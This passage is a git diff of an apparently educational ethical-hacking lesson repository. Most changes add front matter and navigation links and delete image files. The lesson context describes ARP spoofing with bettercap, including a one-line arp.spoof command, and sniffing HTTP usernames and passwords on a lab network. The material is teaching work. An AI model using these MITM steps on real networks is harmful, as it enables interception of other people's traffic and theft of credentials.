- Here, we can see what kind of device is connected to the network, what operating system it is running. As, we can see here, we have 3 VMware devices connected to the network, and one of them is running an Unknown OS.
- In a similare way we can perform quick scan as well:
- 
+ 
- It shows open ports on each one of the discovered devices, along with the services running on those ports. For example, we can see that port `22` is open on the device with IP.
### Gathering More Sensitive Information(Services, OS, etc.)
- 
+ 
- As here we can clearly see, that the device has it's IP, MAC Address, and the services running on it. We can also see the operating system of the device.
@@ -106,10 +115,10 @@
- We can also categorize discovered clients based on the services running on them.
- 
+ 
---
### Path
-<- [Previous Lesson: Network Hacking - Gaining Access - WPA/WPA2 Cracking](./lesson-04.md) | [Next Lesson: Network Hacking Post Connection Attacks - MITM Attacks](./lesson-06.md) ->
\ No newline at end of file
+<- [Previous Lesson: Network Hacking - Gaining Access - WPA/WPA2 Cracking](/lesson-04.md) | [Next Lesson: Network Hacking Post Connection Attacks - MITM Attacks](/lesson-06.md) ->
\ No newline at end of file
diff --git a/ethical-hacking/lesson-06.md b/ethical-hacking/lesson-06.md
index d0f1903..0dd675d 100644
--- a/ethical-hacking/lesson-06.md
+++ b/ethical-hacking/lesson-06.md
@@ -1,3 +1,12 @@
+---
+title: "Network Hacking Post Connection Attacks - MITM Attacks"
+slug: "lesson-06"
+order: 6
+category: "ethical-hacking"
+prev: "lesson-05"
+next: "lesson-cyberchef"
+---
+
# Network Hacking Post Connection Attacks - MITM Attacks
- [Network Hacking Post Connection Attacks - MITM Attacks](#network-hacking-post-connection-attacks---mitm-attacks)
@@ -13,7 +22,7 @@
- [Spying on Network Devices](#spying-on-network-devices)
-
+
- MITM stands for Man In The Middle. It is a type of attack where the attacker intercepts communication between two parties without their knowledge. The attacker can then eavesdrop on the conversation, modify the data being sent, or even impersonate one of the parties.
@@ -145,8 +154,8 @@ sequenceDiagram
It would look something like this:
- .png)
- .png)
+ .png)
+ .png)
- As, you can clearly see the MAC Address of the gateway has been changed to the MAC Address of the attacker. This means that all the packets that are intended for the gateway will now be sent to the attacker.
@@ -198,7 +207,7 @@ sequenceDiagram
This is another way of discovering connected clients quickly using bettercap. What we didn't notice is when we started the `net.probe on` command, it automatically started the `net.recon` command as a requirement for `net.probe`. This means that it is continuously scanning for new devices on the network. So, now if you do `help` again, you will see that the `net.recon` command is also running.
- .png)
+ .png)
The reason for this is because the net.probe sends probe request to all possible IPs, and than if we get a response the net.recon will be the one detecting the response by monitoring my ARP Cache, and than adding all of these IPs in a nice list, so we can target them.
@@ -210,7 +219,7 @@ sequenceDiagram
This will display the list of devices on the network along with their IP addresses, MAC addresses, and hostnames.
- .png)
+ .png)
Here, we can see there IPs, corresponding MAC Addresses, and it can also show you information about each one of these IPs.
@@ -218,7 +227,7 @@ sequenceDiagram
Now to perform the ARP spoofing, we can use the `arp.spoof` command to enable ARP spoofing. Let's first see how to activate this command.
- .png)
+ .png)
So, here we can clearly seedsad that we can use the `arp.spoof on` command to turn this module on. We can do `arp.ban on` this will literally just cut the connection to the target. We can do `arp.spoof off` to turn it off.
@@ -252,17 +261,17 @@ sequenceDiagram
set arp.spoof.fullduplex true;set arp.spoof.targets ;arp.spoof on
```
- .png)
+ .png)
Now, if we check the Target Windows Vm, we can clearly see, the MACs changed.
- .png)
+ .png)
- If we see, the output of `help` it clearly shows `arp.spoof` is running.
- Also, when we check the output for `arp -a` on the Windows VM, we can see that the MAC address of the gateway has been changed to the MAC address of the attacker. This means that all the packets that are intended for the gateway will now be sent to the attacker.
-The same can be performed using our automated script as well which is at the specified [location](../python-scripts/bettercap_arp_spoofing_script.py).
+The same can be performed using our automated script as well which is at the specified [location](/python-scripts/bettercap_arp_spoofing_script.py).
### Spying on Network Devices
@@ -279,7 +288,13 @@ The same can be performed using our automated script as well which is at the spe
- Now, when we login into a HTTP Website with a username and password, we can see the username and password in the output of `net.sniff`, as shown below:
- .png)
- .png)
+ .png)
+ .png)
- In this way we can spy on the network devices using bettercap. We can see all the HTTP requests and responses in real-time, including the username and password for HTTP websites.
+
+---
+
+### Path
+
+<- [Previous Lesson: Network Hacking Post Connection Attacks - Information Gathering](/lesson-05.md) | [Next Lesson: CyberChef – The Cyber Swiss Army Knife](/lesson-cyberchef.md) ->
diff --git a/ethical-hacking/lesson-cyberchef.md b/ethical-hacking/lesson-cyberchef.md
index 3c9d2e3..f5ab2f5 100644
--- a/ethical-hacking/lesson-cyberchef.md
+++ b/ethical-hacking/lesson-cyberchef.md
@@ -1,3 +1,12 @@
+---
+title: "CyberChef – The Cyber Swiss Army Knife"
+slug: "lesson-cyberchef"
+order: 7
+category: "ethical-hacking"
+prev: "lesson-06"
+next: "lesson-fing"
+---
+
# CyberChef – The Cyber Swiss Army Knife 🛠️
## 📌 What is CyberChef?
@@ -65,7 +74,7 @@ Here's a simple example of how a recipe works.
48656c6c6f
```
-
+
If you then add the `From Hex` operation to the recipe, it will convert the hex back to the original text, `Hello`. This shows how you can chain multiple steps to build a complex data processing pipeline.
@@ -85,4 +94,12 @@ Explore [CyberChef Official Website](https://gchq.github.io/CyberChef/) and enjo
* CyberChef is an all-in-one tool for data processing, cryptography, and encoding.
* You can combine multiple steps (recipes) to solve complex problems.
-* It is an essential tool for students, security professionals, and CTF players.
\ No newline at end of file
+* It is an essential tool for students, security professionals, and CTF players.
+
+---
+
+### Path
+
+<- [Previous Lesson: Network Hacking Post Connection Attacks - MITM Attacks](/lesson-06.md) | [Next Lesson: Introduction to Network Scanning with Fing](/lesson-fing.md) ->
+
+
diff --git a/ethical-hacking/lesson-fing.md b/ethical-hacking/lesson-fing.md
index 8e27c33..7a272fc 100644
--- a/ethical-hacking/lesson-fing.md
+++ b/ethical-hacking/lesson-fing.md
@@ -1,3 +1,12 @@
+---
+title: "Introduction to Network Scanning with Fing"
+slug: "lesson-fing"
+order: 8
+category: "ethical-hacking"
+prev: "lesson-cyberchef"
+next: "lesson-password_attack-and_hashcracking"
+---
+
# Lesson: Introduction to Network Scanning with Fing
Welcome, future ethical hackers! The very first step in any security assessment is **reconnaissance**. Before you can test a system's defenses, you must first understand what you're up against. What devices are on the network? What services are they running? This initial mapping phase is critical, and today, we're learning about one of the most user-friendly tools for the job: **Fing**.
@@ -99,10 +108,10 @@ Your next authorized action in a real test would be to use a web vulnerability s
---
Screenshots
-
-
-
-
+
+
+
+
---
## Where to Read More
@@ -111,4 +120,10 @@ To continue your learning, check out the official documentation. The CLI (Comman
* [Fing Official Website](https://www.fing.com/)
* [Fing App Features](https://www.fing.com/products/fing-app)
-* [Fing CLI User Guide (PDF)](https://www.fing.com/images/uploads/fing-cli-user-guide.pdf)
\ No newline at end of file
+* [Fing CLI User Guide (PDF)](https://www.fing.com/images/uploads/fing-cli-user-guide.pdf)
+
+---
+
+### Path
+
+<- [Previous Lesson: CyberChef – The Cyber Swiss Army Knife](/lesson-cyberchef.md) | [Next Lesson: Password Attacks & Hash Cracking](/lesson-password_attack-and_hashcracking.md) ->
\ No newline at end of file
diff --git a/ethical-hacking/lesson-password_attack-and_hashcracking.md b/ethical-hacking/lesson-password_attack-and_hashcracking.md
index 2cb466a..7cba140 100644
--- a/ethical-hacking/lesson-password_attack-and_hashcracking.md
+++ b/ethical-hacking/lesson-password_attack-and_hashcracking.md
@@ -1,3 +1,12 @@
+---
+title: "Password Attacks & Hash Cracking"
+slug: "lesson-password_attack-and_hashcracking"
+order: 9
+category: "ethical-hacking"
+prev: "lesson-fing"
+next: "lesson-passwordcracking"
+---
+
# Lesson 07 — Password Attacks & Hash Cracking (Hashcat & John)
## Overview
@@ -138,4 +147,8 @@
---
+### Path
+
+<- [Previous Lesson: Introduction to Network Scanning with Fing](/lesson-fing.md) | [Next Lesson: Password Cracking](/lesson-passwordcracking.md) ->
+
Updated: 2025-10-07
diff --git a/ethical-hacking/lesson-passwordcracking.md b/ethical-hacking/lesson-passwordcracking.md
index e2cd8a3..ff167ae 100644
--- a/ethical-hacking/lesson-passwordcracking.md
+++ b/ethical-hacking/lesson-passwordcracking.md
@@ -1,3 +1,12 @@
+---
+title: "Password Cracking"
+slug: "lesson-passwordcracking"
+order: 10
+category: "ethical-hacking"
+prev: "lesson-password_attack-and_hashcracking"
+next: "lesson-phising-toolkit"
+---
+
# Password Cracking 🔐
## 🔐 Password Cracking with John the Ripper
@@ -166,3 +175,7 @@ cat Done.txt
- It supports both hex-charset and hex-salt files.
---
+
+### Path
+
+<- [Previous Lesson: Password Attacks & Hash Cracking](/lesson-password_attack-and_hashcracking.md) | [Next Lesson: Phishing Toolkits](/lesson-phising-toolkit.md) ->
diff --git a/ethical-hacking/lesson-phising-toolkit.md b/ethical-hacking/lesson-phising-toolkit.md
index 60869d0..2b58863 100644
--- a/ethical-hacking/lesson-phising-toolkit.md
+++ b/ethical-hacking/lesson-phising-toolkit.md
@@ -1,3 +1,12 @@
+---
+title: "Phishing Toolkits"
+slug: "lesson-phising-toolkit"
+order: 11
+category: "ethical-hacking"
+prev: "lesson-passwordcracking"
+next: "binary-exploitation"
+---
+
# Phishing Toolkits: A Deep Dive for Ethical Hacking and Defense
- [Phishing Toolkits: A Deep Dive for Ethical Hacking and Defense](#phishing-toolkits-a-deep-dive-for-ethical-hacking-and-defense)
@@ -136,4 +145,10 @@ A robust defense against phishing requires both technology and vigilant users.
* **Advanced Email Filtering:** Deploy an email security gateway that uses sandboxing to analyze attachments and URL rewriting to scan links in real-time when they are clicked.
* **Security Awareness Training:** Conduct regular, engaging training sessions and run simulated phishing campaigns. Foster a culture where employees feel comfortable reporting suspicious emails without fear of blame.
* **Implement DMARC, DKIM, and SPF:** These email authentication standards are critical for preventing attackers from spoofing your company's domain, making it much harder for them to impersonate your employees or brand.
- * **Web Filtering and DNS Protection:** Use services that block access to known malicious domains at the network level, preventing employees from ever reaching a phishing page.
\ No newline at end of file
+ * **Web Filtering and DNS Protection:** Use services that block access to known malicious domains at the network level, preventing employees from ever reaching a phishing page.
+
+---
+
+### Path
+
+<- [Previous Lesson: Password Cracking](/lesson-passwordcracking.md) | [Next Lesson: Introduction to Binary Exploitation](/Binary-Exploitation.MD) ->
\ No newline at end of file
diff --git a/imgs/06f21a161921919.63cd7887d0a70.gif b/imgs/06f21a161921919.63cd7887d0a70.gif
deleted file mode 100644
index 453a1d9..0000000
Binary files a/imgs/06f21a161921919.63cd7887d0a70.gif and /dev/null differ
diff --git a/imgs/13062024-man-in-the-middle-attack-image-terrabytegroup.com_-scaled.jpg b/imgs/13062024-man-in-the-middle-attack-image-terrabytegroup.com_-scaled.jpg
deleted file mode 100644
index c473389..0000000
Binary files a/imgs/13062024-man-in-the-middle-attack-image-terrabytegroup.com_-scaled.jpg and /dev/null differ
diff --git a/imgs/212747903-e9bdf048-2dc8-41f9-b973-0e72ff07bfba.gif b/imgs/212747903-e9bdf048-2dc8-41f9-b973-0e72ff07bfba.gif
deleted file mode 100644
index a86a69f..0000000
Binary files a/imgs/212747903-e9bdf048-2dc8-41f9-b973-0e72ff07bfba.gif and /dev/null differ
diff --git a/imgs/212748830-4c709398-a386-4761-84d7-9e10b98fbe6e.gif b/imgs/212748830-4c709398-a386-4761-84d7-9e10b98fbe6e.gif
deleted file mode 100644
index 714bc87..0000000
Binary files a/imgs/212748830-4c709398-a386-4761-84d7-9e10b98fbe6e.gif and /dev/null differ
diff --git a/imgs/212749447-bfb7e725-6987-49d9-ae85-2015e3e7cc41.gif b/imgs/212749447-bfb7e725-6987-49d9-ae85-2015e3e7cc41.gif
deleted file mode 100644
index b0cc617..0000000
Binary files a/imgs/212749447-bfb7e725-6987-49d9-ae85-2015e3e7cc41.gif and /dev/null differ
diff --git a/imgs/212749726-d36b8253-74bb-4509-870d-e29ed3b8ff4a.gif b/imgs/212749726-d36b8253-74bb-4509-870d-e29ed3b8ff4a.gif
deleted file mode 100644
index decbd5d..0000000
Binary files a/imgs/212749726-d36b8253-74bb-4509-870d-e29ed3b8ff4a.gif and /dev/null differ
diff --git a/imgs/212750155-3ceddfbd-19d3-40a3-87af-8d329c8323c4.gif b/imgs/212750155-3ceddfbd-19d3-40a3-87af-8d329c8323c4.gif
deleted file mode 100644
index 9ce488f..0000000
Binary files a/imgs/212750155-3ceddfbd-19d3-40a3-87af-8d329c8323c4.gif and /dev/null differ
diff --git a/imgs/212750996-938b257b-266c-45a7-9af7-655341c0f58b.gif b/imgs/212750996-938b257b-266c-45a7-9af7-655341c0f58b.gif
deleted file mode 100644
index b4211af..0000000
Binary files a/imgs/212750996-938b257b-266c-45a7-9af7-655341c0f58b.gif and /dev/null differ
diff --git a/imgs/213910845-af37a709-8995-40d6-be59-724526e3c3d7.gif b/imgs/213910845-af37a709-8995-40d6-be59-724526e3c3d7.gif
deleted file mode 100644
index 4d9d69f..0000000
Binary files a/imgs/213910845-af37a709-8995-40d6-be59-724526e3c3d7.gif and /dev/null differ
diff --git a/imgs/216649426-0c2ee152-84d8-4707-85c4-27a378d2f78a.gif b/imgs/216649426-0c2ee152-84d8-4707-85c4-27a378d2f78a.gif
deleted file mode 100644
index 849eeca..0000000
Binary files a/imgs/216649426-0c2ee152-84d8-4707-85c4-27a378d2f78a.gif and /dev/null differ
diff --git a/imgs/216649450-e63af5d5-a769-4e9f-8bd1-c2b9005dc53c.gif b/imgs/216649450-e63af5d5-a769-4e9f-8bd1-c2b9005dc53c.gif
deleted file mode 100644
index f7a364c..0000000
Binary files a/imgs/216649450-e63af5d5-a769-4e9f-8bd1-c2b9005dc53c.gif and /dev/null differ
diff --git a/imgs/216653728-5f452bd4-f1b8-401e-a337-f6fbae9d493a.gif b/imgs/216653728-5f452bd4-f1b8-401e-a337-f6fbae9d493a.gif
deleted file mode 100644
index eb936b9..0000000
Binary files a/imgs/216653728-5f452bd4-f1b8-401e-a337-f6fbae9d493a.gif and /dev/null differ
diff --git a/imgs/216655813-c9147cb2-cfee-4955-b591-52cac08f1f60.gif b/imgs/216655813-c9147cb2-cfee-4955-b591-52cac08f1f60.gif
deleted file mode 100644
index 1767b66..0000000
Binary files a/imgs/216655813-c9147cb2-cfee-4955-b591-52cac08f1f60.gif and /dev/null differ
diff --git a/imgs/216655818-2e7b9a31-49bf-4744-85a8-db8a2577c45c.gif b/imgs/216655818-2e7b9a31-49bf-4744-85a8-db8a2577c45c.gif
deleted file mode 100644
index be5a91e..0000000
Binary files a/imgs/216655818-2e7b9a31-49bf-4744-85a8-db8a2577c45c.gif and /dev/null differ
diff --git a/imgs/216655846-93807a43-d6e8-448a-bf19-799b5e8c1c0a.gif b/imgs/216655846-93807a43-d6e8-448a-bf19-799b5e8c1c0a.gif
deleted file mode 100644
index 6cdc87f..0000000
Binary files a/imgs/216655846-93807a43-d6e8-448a-bf19-799b5e8c1c0a.gif and /dev/null differ
diff --git a/imgs/216655848-cf4d7bed-52aa-4740-8c67-1832472051ec.gif b/imgs/216655848-cf4d7bed-52aa-4740-8c67-1832472051ec.gif
deleted file mode 100644
index 3522afd..0000000
Binary files a/imgs/216655848-cf4d7bed-52aa-4740-8c67-1832472051ec.gif and /dev/null differ
diff --git a/imgs/216655853-3acb8c9c-42bd-4d0c-aaa6-27b409361578.gif b/imgs/216655853-3acb8c9c-42bd-4d0c-aaa6-27b409361578.gif
deleted file mode 100644
index 6e7bf0a..0000000
Binary files a/imgs/216655853-3acb8c9c-42bd-4d0c-aaa6-27b409361578.gif and /dev/null differ
diff --git a/imgs/216655855-e00c1861-e964-4b4f-90ae-2592cad7b272.gif b/imgs/216655855-e00c1861-e964-4b4f-90ae-2592cad7b272.gif
deleted file mode 100644
index dff5981..0000000
Binary files a/imgs/216655855-e00c1861-e964-4b4f-90ae-2592cad7b272.gif and /dev/null differ
diff --git a/imgs/216655859-f66df97b-6767-4ab2-b6f4-a9cba3ff3591.gif b/imgs/216655859-f66df97b-6767-4ab2-b6f4-a9cba3ff3591.gif
deleted file mode 100644
index 28ee475..0000000
Binary files a/imgs/216655859-f66df97b-6767-4ab2-b6f4-a9cba3ff3591.gif and /dev/null differ
diff --git a/imgs/216656977-ef584e23-480a-4d1c-8c3f-7d045910ddc9.gif b/imgs/216656977-ef584e23-480a-4d1c-8c3f-7d045910ddc9.gif
deleted file mode 100644
index 16674a1..0000000
Binary files a/imgs/216656977-ef584e23-480a-4d1c-8c3f-7d045910ddc9.gif and /dev/null differ
diff --git a/imgs/216656982-82fce1e6-72ff-48aa-bbcd-5270671adeaa.gif b/imgs/216656982-82fce1e6-72ff-48aa-bbcd-5270671adeaa.gif
deleted file mode 100644
index 3a242c2..0000000
Binary files a/imgs/216656982-82fce1e6-72ff-48aa-bbcd-5270671adeaa.gif and /dev/null differ
diff --git a/imgs/216656986-e4424d73-56dd-4e0d-96ac-66f9f2c3be42.gif b/imgs/216656986-e4424d73-56dd-4e0d-96ac-66f9f2c3be42.gif
deleted file mode 100644
index f22015a..0000000
Binary files a/imgs/216656986-e4424d73-56dd-4e0d-96ac-66f9f2c3be42.gif and /dev/null differ
diff --git a/imgs/216656987-9b3a52af-79d3-418c-8789-579955588e68.gif b/imgs/216656987-9b3a52af-79d3-418c-8789-579955588e68.gif
deleted file mode 100644
index b7343eb..0000000
Binary files a/imgs/216656987-9b3a52af-79d3-418c-8789-579955588e68.gif and /dev/null differ
diff --git a/imgs/216658115-017b0125-1bba-409d-b789-c04362c0adfb.gif b/imgs/216658115-017b0125-1bba-409d-b789-c04362c0adfb.gif
deleted file mode 100644
index c05af58..0000000
Binary files a/imgs/216658115-017b0125-1bba-409d-b789-c04362c0adfb.gif and /dev/null differ
diff --git a/imgs/219923809-b86dc415-a0c2-4a38-bc88-ad6cf06395a8.gif b/imgs/219923809-b86dc415-a0c2-4a38-bc88-ad6cf06395a8.gif
deleted file mode 100644
index 7d39be4..0000000
Binary files a/imgs/219923809-b86dc415-a0c2-4a38-bc88-ad6cf06395a8.gif and /dev/null differ
diff --git a/imgs/225813708-98b745f2-7d22-48cf-9150-083f1b00d6c9.gif b/imgs/225813708-98b745f2-7d22-48cf-9150-083f1b00d6c9.gif
deleted file mode 100644
index 67b62ca..0000000
Binary files a/imgs/225813708-98b745f2-7d22-48cf-9150-083f1b00d6c9.gif and /dev/null differ
diff --git a/imgs/226127923-0e8b7792-7b3c-462b-951b-63c96ba1a5af.gif b/imgs/226127923-0e8b7792-7b3c-462b-951b-63c96ba1a5af.gif
deleted file mode 100644
index 212711f..0000000
Binary files a/imgs/226127923-0e8b7792-7b3c-462b-951b-63c96ba1a5af.gif and /dev/null differ
diff --git a/imgs/226127927-3feb953e-cc01-482e-b732-311b2907991f.gif b/imgs/226127927-3feb953e-cc01-482e-b732-311b2907991f.gif
deleted file mode 100644
index 920be20..0000000
Binary files a/imgs/226127927-3feb953e-cc01-482e-b732-311b2907991f.gif and /dev/null differ
diff --git a/imgs/227779362-cacda485-cab4-4e28-8a27-a4d2a918a7ac.gif b/imgs/227779362-cacda485-cab4-4e28-8a27-a4d2a918a7ac.gif
deleted file mode 100644
index 2b7ebbb..0000000
Binary files a/imgs/227779362-cacda485-cab4-4e28-8a27-a4d2a918a7ac.gif and /dev/null differ
diff --git a/imgs/238200842-406eb3e6-caba-401d-93c8-e0a7941c84b9.gif b/imgs/238200842-406eb3e6-caba-401d-93c8-e0a7941c84b9.gif
deleted file mode 100644
index a84e946..0000000
Binary files a/imgs/238200842-406eb3e6-caba-401d-93c8-e0a7941c84b9.gif and /dev/null differ
diff --git a/imgs/238353467-897cd757-ea1f-492d-aaf9-6d1674177e08.gif b/imgs/238353467-897cd757-ea1f-492d-aaf9-6d1674177e08.gif
deleted file mode 100644
index 09976c1..0000000
Binary files a/imgs/238353467-897cd757-ea1f-492d-aaf9-6d1674177e08.gif and /dev/null differ
diff --git a/imgs/238353480-219bcc70-f5dc-466b-9a60-29653d8e8433.gif b/imgs/238353480-219bcc70-f5dc-466b-9a60-29653d8e8433.gif
deleted file mode 100644
index 2c92dcb..0000000
Binary files a/imgs/238353480-219bcc70-f5dc-466b-9a60-29653d8e8433.gif and /dev/null differ
diff --git a/imgs/238355349-7d484dc9-68a9-4ee6-a767-aea59035c12d.gif b/imgs/238355349-7d484dc9-68a9-4ee6-a767-aea59035c12d.gif
deleted file mode 100644
index e69de29..0000000
diff --git a/imgs/240304586-d48893bd-0757-481c-8d7e-ba3e163feae7.png b/imgs/240304586-d48893bd-0757-481c-8d7e-ba3e163feae7.png
deleted file mode 100644
index e69de29..0000000
diff --git a/imgs/240307504-366d67af-a5ad-4c0a-bf14-1bebfed20a3a.gif b/imgs/240307504-366d67af-a5ad-4c0a-bf14-1bebfed20a3a.gif
deleted file mode 100644
index cb225b6..0000000
Binary files a/imgs/240307504-366d67af-a5ad-4c0a-bf14-1bebfed20a3a.gif and /dev/null differ
diff --git a/imgs/240308118-6f28d73e-0d7e-4a6c-8ddf-bb24b69a71c0.gif b/imgs/240308118-6f28d73e-0d7e-4a6c-8ddf-bb24b69a71c0.gif
deleted file mode 100644
index e79c1ed..0000000
Binary files a/imgs/240308118-6f28d73e-0d7e-4a6c-8ddf-bb24b69a71c0.gif and /dev/null differ
diff --git a/imgs/240815068-993370af-11f4-48e7-9e0d-e5b79c2e7890.gif b/imgs/240815068-993370af-11f4-48e7-9e0d-e5b79c2e7890.gif
deleted file mode 100644
index ccf6261..0000000
Binary files a/imgs/240815068-993370af-11f4-48e7-9e0d-e5b79c2e7890.gif and /dev/null differ
diff --git a/imgs/241763891-7bb1e704-6026-48f9-8435-2f4d40101348.gif b/imgs/241763891-7bb1e704-6026-48f9-8435-2f4d40101348.gif
deleted file mode 100644
index 616e9a3..0000000
Binary files a/imgs/241763891-7bb1e704-6026-48f9-8435-2f4d40101348.gif and /dev/null differ
diff --git a/imgs/242390524-0c7eb6ed-663b-4ce4-bfbd-18239a38ba1b.gif b/imgs/242390524-0c7eb6ed-663b-4ce4-bfbd-18239a38ba1b.gif
deleted file mode 100644
index 1847359..0000000
Binary files a/imgs/242390524-0c7eb6ed-663b-4ce4-bfbd-18239a38ba1b.gif and /dev/null differ
diff --git a/imgs/242390692-0b335028-1d3d-4ee5-b5b3-a373d499be7e.gif b/imgs/242390692-0b335028-1d3d-4ee5-b5b3-a373d499be7e.gif
deleted file mode 100644
index 95e0e32..0000000
Binary files a/imgs/242390692-0b335028-1d3d-4ee5-b5b3-a373d499be7e.gif and /dev/null differ
diff --git a/imgs/250967618-de30015f-dc5f-4ecf-a49b-ccd2b89776e4.gif b/imgs/250967618-de30015f-dc5f-4ecf-a49b-ccd2b89776e4.gif
deleted file mode 100644
index cb29639..0000000
Binary files a/imgs/250967618-de30015f-dc5f-4ecf-a49b-ccd2b89776e4.gif and /dev/null differ
diff --git a/imgs/362d5c55859146c0c7debfca296ad321.gif b/imgs/362d5c55859146c0c7debfca296ad321.gif
deleted file mode 100644
index 8cc8d37..0000000
Binary files a/imgs/362d5c55859146c0c7debfca296ad321.gif and /dev/null differ
diff --git "a/imgs/Movie on 27-07-25 at 9.36\342\200\257PM.mov" "b/imgs/Movie on 27-07-25 at 9.36\342\200\257PM.mov"
deleted file mode 100644
index 157a3ff..0000000
Binary files "a/imgs/Movie on 27-07-25 at 9.36\342\200\257PM.mov" and /dev/null differ
diff --git a/imgs/Screenshot (10).png b/imgs/Screenshot (10).png
deleted file mode 100644
index 59a4b48..0000000
Binary files a/imgs/Screenshot (10).png and /dev/null differ
diff --git a/imgs/Screenshot (11).png b/imgs/Screenshot (11).png
deleted file mode 100644
index 27b023f..0000000
Binary files a/imgs/Screenshot (11).png and /dev/null differ
diff --git a/imgs/Screenshot (12).png b/imgs/Screenshot (12).png
deleted file mode 100644
index 661081a..0000000
Binary files a/imgs/Screenshot (12).png and /dev/null differ
diff --git a/imgs/Screenshot (13).png b/imgs/Screenshot (13).png
deleted file mode 100644
index 9b2ef4f..0000000
Binary files a/imgs/Screenshot (13).png and /dev/null differ
diff --git a/imgs/Screenshot (14).png b/imgs/Screenshot (14).png
deleted file mode 100644
index 0f4f6d8..0000000
Binary files a/imgs/Screenshot (14).png and /dev/null differ
diff --git a/imgs/Screenshot (6).png b/imgs/Screenshot (6).png
deleted file mode 100644
index a5cf1be..0000000
Binary files a/imgs/Screenshot (6).png and /dev/null differ
diff --git a/imgs/Screenshot (7).png b/imgs/Screenshot (7).png
deleted file mode 100644
index 2fcc184..0000000
Binary files a/imgs/Screenshot (7).png and /dev/null differ
diff --git a/imgs/Screenshot (8).png b/imgs/Screenshot (8).png
deleted file mode 100644
index c4d2771..0000000
Binary files a/imgs/Screenshot (8).png and /dev/null differ
diff --git a/imgs/Screenshot (9).png b/imgs/Screenshot (9).png
deleted file mode 100644
index e6f298c..0000000
Binary files a/imgs/Screenshot (9).png and /dev/null differ
diff --git "a/imgs/Screenshot 2025-07-21 at 11.11.34\342\200\257AM.png" "b/imgs/Screenshot 2025-07-21 at 11.11.34\342\200\257AM.png"
deleted file mode 100644
index 10186d3..0000000
Binary files "a/imgs/Screenshot 2025-07-21 at 11.11.34\342\200\257AM.png" and /dev/null differ
diff --git "a/imgs/Screenshot 2025-07-24 at 4.58.09\342\200\257AM.png" "b/imgs/Screenshot 2025-07-24 at 4.58.09\342\200\257AM.png"
deleted file mode 100644
index ceb1f1c..0000000
Binary files "a/imgs/Screenshot 2025-07-24 at 4.58.09\342\200\257AM.png" and /dev/null differ
diff --git "a/imgs/Screenshot 2025-07-24 at 6.49.53\342\200\257AM.png" "b/imgs/Screenshot 2025-07-24 at 6.49.53\342\200\257AM.png"
deleted file mode 100644
index 560a8c2..0000000
Binary files "a/imgs/Screenshot 2025-07-24 at 6.49.53\342\200\257AM.png" and /dev/null differ
diff --git "a/imgs/Screenshot 2025-08-09 at 3.38.18\342\200\257PM.png" "b/imgs/Screenshot 2025-08-09 at 3.38.18\342\200\257PM.png"
deleted file mode 100644
index ab0192f..0000000
Binary files "a/imgs/Screenshot 2025-08-09 at 3.38.18\342\200\257PM.png" and /dev/null differ
diff --git "a/imgs/Screenshot 2025-08-09 at 3.47.22\342\200\257PM.png" "b/imgs/Screenshot 2025-08-09 at 3.47.22\342\200\257PM.png"
deleted file mode 100644
index 933af2f..0000000
Binary files "a/imgs/Screenshot 2025-08-09 at 3.47.22\342\200\257PM.png" and /dev/null differ
diff --git "a/imgs/Screenshot 2025-08-09 at 3.56.13\342\200\257PM.png" "b/imgs/Screenshot 2025-08-09 at 3.56.13\342\200\257PM.png"
deleted file mode 100644
index 5164d8c..0000000
Binary files "a/imgs/Screenshot 2025-08-09 at 3.56.13\342\200\257PM.png" and /dev/null differ
diff --git "a/imgs/Screenshot 2025-08-09 at 5.54.42\342\200\257PM.png" "b/imgs/Screenshot 2025-08-09 at 5.54.42\342\200\257PM.png"
deleted file mode 100644
index 1299a16..0000000
Binary files "a/imgs/Screenshot 2025-08-09 at 5.54.42\342\200\257PM.png" and /dev/null differ
diff --git a/imgs/WEP-encryption-algorithm-37.ppm.png b/imgs/WEP-encryption-algorithm-37.ppm.png
deleted file mode 100644
index 8b6957a..0000000
Binary files a/imgs/WEP-encryption-algorithm-37.ppm.png and /dev/null differ
diff --git a/imgs/What-is-MAC-Address.jpeg b/imgs/What-is-MAC-Address.jpeg
deleted file mode 100644
index 7cdb6cd..0000000
Binary files a/imgs/What-is-MAC-Address.jpeg and /dev/null differ
diff --git a/imgs/What-is-Packet-Sniffing-01.png.webp b/imgs/What-is-Packet-Sniffing-01.png.webp
deleted file mode 100644
index 5c5b699..0000000
Binary files a/imgs/What-is-Packet-Sniffing-01.png.webp and /dev/null differ
diff --git a/imgs/WhatsApp Image 2025-07-26 at 07.47.53.jpeg b/imgs/WhatsApp Image 2025-07-26 at 07.47.53.jpeg
deleted file mode 100644
index d79089a..0000000
Binary files a/imgs/WhatsApp Image 2025-07-26 at 07.47.53.jpeg and /dev/null differ
diff --git a/imgs/WhatsApp Image 2025-07-28 at 19.40.07.jpeg b/imgs/WhatsApp Image 2025-07-28 at 19.40.07.jpeg
deleted file mode 100644
index 2e26965..0000000
Binary files a/imgs/WhatsApp Image 2025-07-28 at 19.40.07.jpeg and /dev/null differ
diff --git a/imgs/andoroid.gif b/imgs/andoroid.gif
deleted file mode 100644
index 340fd40..0000000
Binary files a/imgs/andoroid.gif and /dev/null differ
diff --git a/imgs/async_port_scanner.jpg b/imgs/async_port_scanner.jpg
deleted file mode 100644
index 686b963..0000000
Binary files a/imgs/async_port_scanner.jpg and /dev/null differ
diff --git a/imgs/b1b55f18288795.562c702fe9883.gif b/imgs/b1b55f18288795.562c702fe9883.gif
deleted file mode 100644
index ff95c7f..0000000
Binary files a/imgs/b1b55f18288795.562c702fe9883.gif and /dev/null differ
diff --git a/imgs/bettercap_arp_spoofing_script.png b/imgs/bettercap_arp_spoofing_script.png
deleted file mode 100644
index a4cfcd5..0000000
Binary files a/imgs/bettercap_arp_spoofing_script.png and /dev/null differ
diff --git a/imgs/booting-up-developer-economy-how-tech-startups-are-helping-coders-build-and-test-software-faster.jpg.webp b/imgs/booting-up-developer-economy-how-tech-startups-are-helping-coders-build-and-test-software-faster.jpg.webp
deleted file mode 100644
index 87f0b65..0000000
Binary files a/imgs/booting-up-developer-economy-how-tech-startups-are-helping-coders-build-and-test-software-faster.jpg.webp and /dev/null differ
diff --git a/imgs/https_data_fetcher_bettercap.png b/imgs/https_data_fetcher_bettercap.png
deleted file mode 100644
index 39e3fae..0000000
Binary files a/imgs/https_data_fetcher_bettercap.png and /dev/null differ
diff --git a/imgs/https_data_fetcher_bettercap1.png b/imgs/https_data_fetcher_bettercap1.png
deleted file mode 100644
index f6abed6..0000000
Binary files a/imgs/https_data_fetcher_bettercap1.png and /dev/null differ
diff --git a/imgs/https_data_fetcher_bettercap2.png b/imgs/https_data_fetcher_bettercap2.png
deleted file mode 100644
index 80d9921..0000000
Binary files a/imgs/https_data_fetcher_bettercap2.png and /dev/null differ
